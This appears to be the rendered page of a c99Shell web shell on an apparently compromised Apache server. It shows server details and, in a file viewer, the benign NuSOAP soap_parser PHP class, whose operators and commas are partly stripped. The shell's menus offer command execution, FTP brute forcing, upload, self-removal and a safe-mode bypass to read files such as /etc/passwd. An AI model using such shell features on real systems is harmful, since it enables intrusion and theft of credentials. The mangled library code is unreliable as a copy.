!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/lib/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class.soap_parser.php (23.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php




/**
*
* soap_parser class parses SOAP XML messages into native PHP values
*
* @author   Dietrich Ayala <dietrich@ganx4.com>
* @version  $Id: class.soap_parser.php,v 1.36 2005/08/04 01:27:42 snichol Exp $
* @access   public
*/
class soap_parser extends nusoap_base {

    var 
$xml '';
    var 
$xml_encoding '';
    var 
$method '';
    var 
$root_struct '';
    var 
$root_struct_name '';
    var 
$root_struct_namespace '';
    var 
$root_header '';
    var 
$document '';            // incoming SOAP body (text)
    // determines where in the message we are (envelope,header,body,method)
    
var $status '';
    var 
$position 0;
    var 
$depth 0;
    var 
$default_namespace '';
    var 
$namespaces = array();
    var 
$message = array();
    var 
$parent '';
    var 
$fault false;
    var 
$fault_code '';
    var 
$fault_str '';
    var 
$fault_detail '';
    var 
$depth_array = array();
    var 
$debug_flag true;
    var 
$soapresponse NULL;
    var 
$responseHeaders '';    // incoming SOAP headers (text)
    
var $body_position 0;
    
// for multiref parsing:
    // array of id => pos
    
var $ids = array();
    
// array of id => hrefs => pos
    
var $multirefs = array();
    
// toggle for auto-decoding element content
    
var $decode_utf8 true;

    
/**
    * constructor that actually does the parsing
    *
    * @param    string $xml SOAP message
    * @param    string $encoding character encoding scheme of message
    * @param    string $method method for which XML is parsed (unused?)
    * @param    string $decode_utf8 whether to decode UTF-8 to ISO-8859-1
    * @access   public
    */
    
function soap_parser($xml,$encoding='UTF-8',$method='',$decode_utf8=true){
        
parent::nusoap_base();
        
$this->xml $xml;
        
$this->xml_encoding $encoding;
        
$this->method $method;
        
$this->decode_utf8 $decode_utf8;

        
// Check whether content has been read.
        
if(!empty($xml)){
            
// Check XML encoding
            
$pos_xml strpos($xml'<?xml');
            if (
$pos_xml !== FALSE) {
                
$xml_decl substr($xml$pos_xmlstrpos($xml'?>'$pos_xml 2) - $pos_xml 1);
                if (
preg_match("/encoding=[\"']([^\"']*)[\"']/"$xml_decl$res)) {
                    
$xml_encoding $res[1];
                    if (
strtoupper($xml_encoding) != $encoding) {
                        
$err "Charset from HTTP Content-Type '" $encoding "' does not match encoding from XML declaration '" $xml_encoding "'";
                        
$this->debug($err);
                        if (
$encoding != 'ISO-8859-1' || strtoupper($xml_encoding) != 'UTF-8') {
                            
$this->setError($err);
                            return;
                        }
                        
// when HTTP says ISO-8859-1 (the default) and XML says UTF-8 (the typical), assume the other endpoint is just sloppy and proceed
                    
} else {
                        
$this->debug('Charset from HTTP Content-Type matches encoding from XML declaration');
                    }
                } else {
                    
$this->debug('No encoding specified in XML declaration');
                }
            } else {
                
$this->debug('No XML declaration');
            }
            
$this->debug('Entering soap_parser(), length='.strlen($xml).', encoding='.$encoding);
            
// Create an XML parser - why not xml_parser_create_ns?
            
$this->parser xml_parser_create($this->xml_encoding);
            
// Set the options for parsing the XML data.
            //xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
            
xml_parser_set_option($this->parserXML_OPTION_CASE_FOLDING0);
            
xml_parser_set_option($this->parserXML_OPTION_TARGET_ENCODING$this->xml_encoding);
            
// Set the object for the parser.
            
xml_set_object($this->parser$this);
            
// Set the element handlers for the parser.
            
xml_set_element_handler($this->parser'start_element','end_element');
            
xml_set_character_data_handler($this->parser,'character_data');

            
// Parse the XML file.
            
if(!xml_parse($this->parser,$xml,true)){
                
// Display an error message.
                
$err sprintf('XML error parsing SOAP payload on line %d: %s',
                
xml_get_current_line_number($this->parser),
                
xml_error_string(xml_get_error_code($this->parser)));
                
$this->debug($err);
                
$this->debug("XML payload:\n" $xml);
                
$this->setError($err);
            } else {
                
$this->debug('parsed successfully, found root struct: '.$this->root_struct.' of name '.$this->root_struct_name);
                
// get final value
                
$this->soapresponse $this->message[$this->root_struct]['result'];
                
// get header value: no, because this is documented as XML string
//                if($this->root_header != '' && isset($this->message[$this->root_header]['result'])){
//                    $this->responseHeaders = $this->message[$this->root_header]['result'];
//                }
                // resolve hrefs/ids
                
if(sizeof($this->multirefs) > 0){
                    foreach(
$this->multirefs as $id => $hrefs){
                        
$this->debug('resolving multirefs for id: '.$id);
                        
$idVal $this->buildVal($this->ids[$id]);
                        if (
is_array($idVal) && isset($idVal['!id'])) {
                            unset(
$idVal['!id']);
                        }
                        foreach(
$hrefs as $refPos => $ref){
                            
$this->debug('resolving href at pos '.$refPos);
                            
$this->multirefs[$id][$refPos] = $idVal;
                        }
                    }
                }
            }
            
xml_parser_free($this->parser);
        } else {
            
$this->debug('xml was empty, didn\'t parse!');
            
$this->setError('xml was empty, didn\'t parse!');
        }
    }

    
/**
    * start-element handler
    *
    * @param    resource $parser XML parser object
    * @param    string $name element name
    * @param    array $attrs associative array of attributes
    * @access   private
    */
    
function start_element($parser$name$attrs) {
        
// position in a total number of elements, starting from 0
        // update class level pos
        
$pos $this->position++;
        
// and set mine
        
$this->message[$pos] = array('pos' => $pos,'children'=>'','cdata'=>'');
        
// depth = how many levels removed from root?
        // set mine as current global depth and increment global depth value
        
$this->message[$pos]['depth'] = $this->depth++;

        
// else add self as child to whoever the current parent is
        
if($pos != 0){
            
$this->message[$this->parent]['children'] .= '|'.$pos;
        }
        
// set my parent
        
$this->message[$pos]['parent'] = $this->parent;
        
// set self as current parent
        
$this->parent $pos;
        
// set self as current value for this depth
        
$this->depth_array[$this->depth] = $pos;
        
// get element prefix
        
if(strpos($name,':')){
            
// get ns prefix
            
$prefix substr($name,0,strpos($name,':'));
            
// get unqualified name
            
$name substr(strstr($name,':'),1);
        }
        
// set status
        
if($name == 'Envelope'){
            
$this->status 'envelope';
        } elseif(
$name == 'Header'){
            
$this->root_header $pos;
            
$this->status 'header';
        } elseif(
$name == 'Body'){
            
$this->status 'body';
            
$this->body_position $pos;
        
// set method
        
} elseif($this->status == 'body' && $pos == ($this->body_position+1)){
            
$this->status 'method';
            
$this->root_struct_name $name;
            
$this->root_struct $pos;
            
$this->message[$pos]['type'] = 'struct';
            
$this->debug("found root struct $this->root_struct_name, pos $this->root_struct");
        }
        
// set my status
        
$this->message[$pos]['status'] = $this->status;
        
// set name
        
$this->message[$pos]['name'] = htmlspecialchars($name);
        
// set attrs
        
$this->message[$pos]['attrs'] = $attrs;

        
// loop through atts, logging ns and type declarations
        
$attstr '';
        foreach(
$attrs as $key => $value){
            
$key_prefix $this->getPrefix($key);
            
$key_localpart $this->getLocalPart($key);
            
// if ns declarations, add to class level array of valid namespaces
            
if($key_prefix == 'xmlns'){
                if(
ereg('^http://www.w3.org/[0-9]{4}/XMLSchema$',$value)){
                    
$this->XMLSchemaVersion $value;
                    
$this->namespaces['xsd'] = $this->XMLSchemaVersion;
                    
$this->namespaces['xsi'] = $this->XMLSchemaVersion.'-instance';
                }
                
$this->namespaces[$key_localpart] = $value;
                
// set method namespace
                
if($name == $this->root_struct_name){
                    
$this->methodNamespace $value;
                }
            
// if it's a type declaration, set type
            
} elseif($key_localpart == 'type'){
                
$value_prefix $this->getPrefix($value);
                
$value_localpart $this->getLocalPart($value);
                
$this->message[$pos]['type'] = $value_localpart;
                
$this->message[$pos]['typePrefix'] = $value_prefix;
                if(isset(
$this->namespaces[$value_prefix])){
                    
$this->message[$pos]['type_namespace'] = $this->namespaces[$value_prefix];
                } else if(isset(
$attrs['xmlns:'.$value_prefix])) {
                    
$this->message[$pos]['type_namespace'] = $attrs['xmlns:'.$value_prefix];
                }
                
// should do something here with the namespace of specified type?
            
} elseif($key_localpart == 'arrayType'){
                
$this->message[$pos]['type'] = 'array';
                
/* do arrayType ereg here
                [1]    arrayTypeValue    ::=    atype asize
                [2]    atype    ::=    QName rank*
                [3]    rank    ::=    '[' (',')* ']'
                [4]    asize    ::=    '[' length~ ']'
                [5]    length    ::=    nextDimension* Digit+
                [6]    nextDimension    ::=    Digit+ ','
                */
                
$expr '([A-Za-z0-9_]+):([A-Za-z]+[A-Za-z0-9_]+)\[([0-9]+),?([0-9]*)\]';
                if(
ereg($expr,$value,$regs)){
                    
$this->message[$pos]['typePrefix'] = $regs[1];
                    
$this->message[$pos]['arrayTypePrefix'] = $regs[1];
                    if (isset(
$this->namespaces[$regs[1]])) {
                        
$this->message[$pos]['arrayTypeNamespace'] = $this->namespaces[$regs[1]];
                    } else if (isset(
$attrs['xmlns:'.$regs[1]])) {
                        
$this->message[$pos]['arrayTypeNamespace'] = $attrs['xmlns:'.$regs[1]];
                    }
                    
$this->message[$pos]['arrayType'] = $regs[2];
                    
$this->message[$pos]['arraySize'] = $regs[3];
                    
$this->message[$pos]['arrayCols'] = $regs[4];
                }
            
// specifies nil value (or not)
            
} elseif ($key_localpart == 'nil'){
                
$this->message[$pos]['nil'] = ($value == 'true' || $value == '1');
            
// some other attribute
            
} elseif ($key != 'href' && $key != 'xmlns' && $key_localpart != 'encodingStyle' && $key_localpart != 'root') {
                
$this->message[$pos]['xattrs']['!' $key] = $value;
            }

            if (
$key == 'xmlns') {
                
$this->default_namespace $value;
            }
            
// log id
            
if($key == 'id'){
                
$this->ids[$value] = $pos;
            }
            
// root
            
if($key_localpart == 'root' && $value == 1){
                
$this->status 'method';
                
$this->root_struct_name $name;
                
$this->root_struct $pos;
                
$this->debug("found root struct $this->root_struct_name, pos $pos");
            }
            
// for doclit
            
$attstr .= " $key=\"$value\"";
        }
        
// get namespace - must be done after namespace atts are processed
        
if(isset($prefix)){
            
$this->message[$pos]['namespace'] = $this->namespaces[$prefix];
            
$this->default_namespace $this->namespaces[$prefix];
        } else {
            
$this->message[$pos]['namespace'] = $this->default_namespace;
        }
        if(
$this->status == 'header'){
            if (
$this->root_header != $pos) {
                
$this->responseHeaders .= "<" . (isset($prefix) ? $prefix ':' '') . "$name$attstr>";
            }
        } elseif(
$this->root_struct_name != ''){
            
$this->document .= "<" . (isset($prefix) ? $prefix ':' '') . "$name$attstr>";
        }
    }

    
/**
    * end-element handler
    *
    * @param    resource $parser XML parser object
    * @param    string $name element name
    * @access   private
    */
    
function end_element($parser$name) {
        
// position of current element is equal to the last value left in depth_array for my depth
        
$pos $this->depth_array[$this->depth--];

        
// get element prefix
        
if(strpos($name,':')){
            
// get ns prefix
            
$prefix substr($name,0,strpos($name,':'));
            
// get unqualified name
            
$name substr(strstr($name,':'),1);
        }
        
        
// build to native type
        
if(isset($this->body_position) && $pos $this->body_position){
            
// deal w/ multirefs
            
if(isset($this->message[$pos]['attrs']['href'])){
                
// get id
                
$id substr($this->message[$pos]['attrs']['href'],1);
                
// add placeholder to href array
                
$this->multirefs[$id][$pos] = 'placeholder';
                
// add set a reference to it as the result value
                
$this->message[$pos]['result'] =& $this->multirefs[$id][$pos];
            
// build complexType values
            
} elseif($this->message[$pos]['children'] != ''){
                
// if result has already been generated (struct/array)
                
if(!isset($this->message[$pos]['result'])){
                    
$this->message[$pos]['result'] = $this->buildVal($pos);
                }
            
// build complexType values of attributes and possibly simpleContent
            
} elseif (isset($this->message[$pos]['xattrs'])) {
                if (isset(
$this->message[$pos]['nil']) && $this->message[$pos]['nil']) {
                    
$this->message[$pos]['xattrs']['!'] = null;
                } elseif (isset(
$this->message[$pos]['cdata']) && trim($this->message[$pos]['cdata']) != '') {
                    if (isset(
$this->message[$pos]['type'])) {
                        
$this->message[$pos]['xattrs']['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : '');
                    } else {
                        
$parent $this->message[$pos]['parent'];
                        if (isset(
$this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) {
                            
$this->message[$pos]['xattrs']['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : '');
                        } else {
                            
$this->message[$pos]['xattrs']['!'] = $this->message[$pos]['cdata'];
                        }
                    }
                }
                
$this->message[$pos]['result'] = $this->message[$pos]['xattrs'];
            
// set value of simpleType (or nil complexType)
            
} else {
                
//$this->debug('adding data for scalar value '.$this->message[$pos]['name'].' of value '.$this->message[$pos]['cdata']);
                
if (isset($this->message[$pos]['nil']) && $this->message[$pos]['nil']) {
                    
$this->message[$pos]['xattrs']['!'] = null;
                } elseif (isset(
$this->message[$pos]['type'])) {
                    
$this->message[$pos]['result'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : '');
                } else {
                    
$parent $this->message[$pos]['parent'];
                    if (isset(
$this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) {
                        
$this->message[$pos]['result'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : '');
                    } else {
                        
$this->message[$pos]['result'] = $this->message[$pos]['cdata'];
                    }
                }

                
/* add value to parent's result, if parent is struct/array
                $parent = $this->message[$pos]['parent'];
                if($this->message[$parent]['type'] != 'map'){
                    if(strtolower($this->message[$parent]['type']) == 'array'){
                        $this->message[$parent]['result'][] = $this->message[$pos]['result'];
                    } else {
                        $this->message[$parent]['result'][$this->message[$pos]['name']] = $this->message[$pos]['result'];
                    }
                }
                */
            
}
        }
        
        
// for doclit
        
if($this->status == 'header'){
            if (
$this->root_header != $pos) {
                
$this->responseHeaders .= "</" . (isset($prefix) ? $prefix ':' '') . "$name>";
            }
        } elseif(
$pos >= $this->root_struct){
            
$this->document .= "</" . (isset($prefix) ? $prefix ':' '') . "$name>";
        }
        
// switch status
        
if($pos == $this->root_struct){
            
$this->status 'body';
            
$this->root_struct_namespace $this->message[$pos]['namespace'];
        } elseif(
$name == 'Body'){
            
$this->status 'envelope';
         } elseif(
$name == 'Header'){
            
$this->status 'envelope';
        } elseif(
$name == 'Envelope'){
            
//
        
}
        
// set parent back to my parent
        
$this->parent $this->message[$pos]['parent'];
    }

    
/**
    * element content handler
    *
    * @param    resource $parser XML parser object
    * @param    string $data element content
    * @access   private
    */
    
function character_data($parser$data){
        
$pos $this->depth_array[$this->depth];
        if (
$this->xml_encoding=='UTF-8'){
            
// TODO: add an option to disable this for folks who want
            // raw UTF-8 that, e.g., might not map to iso-8859-1
            // TODO: this can also be handled with xml_parser_set_option($this->parser, XML_OPTION_TARGET_ENCODING, "ISO-8859-1");
            
if($this->decode_utf8){
                
$data utf8_decode($data);
            }
        }
        
$this->message[$pos]['cdata'] .= $data;
        
// for doclit
        
if($this->status == 'header'){
            
$this->responseHeaders .= $data;
        } else {
            
$this->document .= $data;
        }
    }

    
/**
    * get the parsed message
    *
    * @return    mixed
    * @access   public
    */
    
function get_response(){
        return 
$this->soapresponse;
    }

    
/**
    * get the parsed headers
    *
    * @return    string XML or empty if no headers
    * @access   public
    */
    
function getHeaders(){
        return 
$this->responseHeaders;
    }

    
/**
    * decodes simple types into PHP variables
    *
    * @param    string $value value to decode
    * @param    string $type XML type to decode
    * @param    string $typens XML type namespace to decode
    * @return    mixed PHP value
    * @access   private
    */
    
function decodeSimple($value$type$typens) {
        
// TODO: use the namespace!
        
if ((!isset($type)) || $type == 'string' || $type == 'long' || $type == 'unsignedLong') {
            return (string) 
$value;
        }
        if (
$type == 'int' || $type == 'integer' || $type == 'short' || $type == 'byte') {
            return (int) 
$value;
        }
        if (
$type == 'float' || $type == 'double' || $type == 'decimal') {
            return (double) 
$value;
        }
        if (
$type == 'boolean') {
            if (
strtolower($value) == 'false' || strtolower($value) == 'f') {
                return 
false;
            }
            return (boolean) 
$value;
        }
        if (
$type == 'base64' || $type == 'base64Binary') {
            
$this->debug('Decode base64 value');
            return 
base64_decode($value);
        }
        
// obscure numeric types
        
if ($type == 'nonPositiveInteger' || $type == 'negativeInteger'
            
|| $type == 'nonNegativeInteger' || $type == 'positiveInteger'
            
|| $type == 'unsignedInt'
            
|| $type == 'unsignedShort' || $type == 'unsignedByte') {
            return (int) 
$value;
        }
        
// bogus: parser treats array with no elements as a simple type
        
if ($type == 'array') {
            return array();
        }
        
// everything else
        
return (string) $value;
    }

    
/**
    * builds response structures for compound values (arrays/structs)
    * and scalars
    *
    * @param    integer $pos position in node tree
    * @return    mixed    PHP value
    * @access   private
    */
    
function buildVal($pos){
        if(!isset(
$this->message[$pos]['type'])){
            
$this->message[$pos]['type'] = '';
        }
        
$this->debug('in buildVal() for '.$this->message[$pos]['name']."(pos $pos) of type ".$this->message[$pos]['type']);
        
// if there are children...
        
if($this->message[$pos]['children'] != ''){
            
$this->debug('in buildVal, there are children');
            
$children explode('|',$this->message[$pos]['children']);
            
array_shift($children); // knock off empty
            // md array
            
if(isset($this->message[$pos]['arrayCols']) && $this->message[$pos]['arrayCols'] != ''){
                
$r=0// rowcount
                
$c=0// colcount
                
foreach($children as $child_pos){
                    
$this->debug("in buildVal, got an MD array element: $r, $c");
                    
$params[$r][] = $this->message[$child_pos]['result'];
                    
$c++;
                    if(
$c == $this->message[$pos]['arrayCols']){
                        
$c 0;
                        
$r++;
                    }
                }
            
// array
            
} elseif($this->message[$pos]['type'] == 'array' || $this->message[$pos]['type'] == 'Array'){
                
$this->debug('in buildVal, adding array '.$this->message[$pos]['name']);
                foreach(
$children as $child_pos){
                    
$params[] = &$this->message[$child_pos]['result'];
                }
            
// apache Map type: java hashtable
            
} elseif($this->message[$pos]['type'] == 'Map' && $this->message[$pos]['type_namespace'] == 'http://xml.apache.org/xml-soap'){
                
$this->debug('in buildVal, Java Map '.$this->message[$pos]['name']);
                foreach(
$children as $child_pos){
                    
$kv explode("|",$this->message[$child_pos]['children']);
                       
$params[$this->message[$kv[1]]['result']] = &$this->message[$kv[2]]['result'];
                }
            
// generic compound type
            //} elseif($this->message[$pos]['type'] == 'SOAPStruct' || $this->message[$pos]['type'] == 'struct') {
            
} else {
                
// Apache Vector type: treat as an array
                
$this->debug('in buildVal, adding Java Vector '.$this->message[$pos]['name']);
                if (
$this->message[$pos]['type'] == 'Vector' && $this->message[$pos]['type_namespace'] == 'http://xml.apache.org/xml-soap') {
                    
$notstruct 1;
                } else {
                    
$notstruct 0;
                }
                
//
                
foreach($children as $child_pos){
                    if(
$notstruct){
                        
$params[] = &$this->message[$child_pos]['result'];
                    } else {
                        if (isset(
$params[$this->message[$child_pos]['name']])) {
                            
// de-serialize repeated element name into an array
                            
if ((!is_array($params[$this->message[$child_pos]['name']])) || (!isset($params[$this->message[$child_pos]['name']][0]))) {
                                
$params[$this->message[$child_pos]['name']] = array($params[$this->message[$child_pos]['name']]);
                            }
                            
$params[$this->message[$child_pos]['name']][] = &$this->message[$child_pos]['result'];
                        } else {
                            
$params[$this->message[$child_pos]['name']] = &$this->message[$child_pos]['result'];
                        }
                    }
                }
            }
            if (isset(
$this->message[$pos]['xattrs'])) {
                
$this->debug('in buildVal, handling attributes');
                foreach (
$this->message[$pos]['xattrs'] as $n => $v) {
                    
$params[$n] = $v;
                }
            }
            
// handle simpleContent
            
if (isset($this->message[$pos]['cdata']) && trim($this->message[$pos]['cdata']) != '') {
                
$this->debug('in buildVal, handling simpleContent');
                if (isset(
$this->message[$pos]['type'])) {
                    
$params['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : '');
                } else {
                    
$parent $this->message[$pos]['parent'];
                    if (isset(
$this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) {
                        
$params['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : '');
                    } else {
                        
$params['!'] = $this->message[$pos]['cdata'];
                    }
                }
            }
            return 
is_array($params) ? $params : array();
        } else {
            
$this->debug('in buildVal, no children, building scalar');
            
$cdata = isset($this->message[$pos]['cdata']) ? $this->message[$pos]['cdata'] : '';
            if (isset(
$this->message[$pos]['type'])) {
                return 
$this->decodeSimple($cdata$this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : '');
            }
            
$parent $this->message[$pos]['parent'];
            if (isset(
$this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) {
                return 
$this->decodeSimple($cdata$this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : '');
            }
               return 
$this->message[$pos]['cdata'];
        }
    }
}




?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0198 ]--